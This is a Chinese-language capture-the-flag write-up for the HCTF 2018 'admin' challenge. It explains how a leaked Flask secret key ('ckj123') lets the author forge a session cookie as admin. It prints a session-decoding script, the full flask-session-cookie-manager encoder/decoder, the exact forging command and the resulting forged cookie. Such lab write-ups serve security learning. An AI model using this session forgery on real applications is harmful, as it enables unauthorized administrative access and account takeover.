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[HCTF 2018]admin

2022-07-25 09:19:00 【怪小生失了神】

这个题之前做过了这里用另一种做法写写

出题人应该是想让我们用flask session伪造做出来(当然这只是我的猜测

方法一：flask session伪造

开局的界面是登录看网页代码也没啥然后就点开看了看有register index啥的

试了试用admin 但密码不对用万能也没有回显（应该就不是sql注入

然后就去register这些乱搞

搞到这里就看见源码了

有一说一这个源码藏得是真恶心

文件下下来发现是flask模板

然后就想flask session伪造。

session直接抓包就得伪造需要密钥找了下在config.py里 ckj123

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:[email protected]:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

上解密脚本

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

然后进行加密（注意要把name改成admin

上加密脚本

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python session.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b707f99e8cb332b42ed7745bb9d2294775c9c524ae93a807559a10f17cd0ff3f2c71acc82a6f56ebc588988ccb4dac4a56bfd3214dd8cb126d4aa71695b5a460', 'csrf_token': b'd2f2aab3e15f78cb5bf6c2384fa3e34d9a3b33b5', 'image': b'MZI2', 'name': 'admin', 'user_id': '11'}"
# .eJw9kEGLwjAQhf_KkrMHje1F8CC0FgszpZK2ZC6y69YmY6NLVVwj_veNLniYw8yD9703d7HZDe3JiNl5uLQjsbHfYnYXH19iJjRvryh1XDRVpOXKg88tJnlPyXaKSW0193vgVYzPvYFY--qG2bIvFJoiWUxRVbFW6ZU4nWpZXslpT5wz-qXREiJwqSSuJDXhprqoCKMlWszWRvu1QUWWXOmB0zFl5TPDLzDtA8OgT2WhaotNOkZezMVjJLanYbc5H_ft4V2BktyBCzjGHlTt0BvWXFtiYmCIMCMDsvKYlSEqWvABX85fdtZ9du3bSdU_OXT_yuHTBUGcTXs7Xg6dGInLqR1erxOTiXj8AfLdbg0.YtfwUA.HTQ-w5Lo9g_N8nkgRTt4HT19xys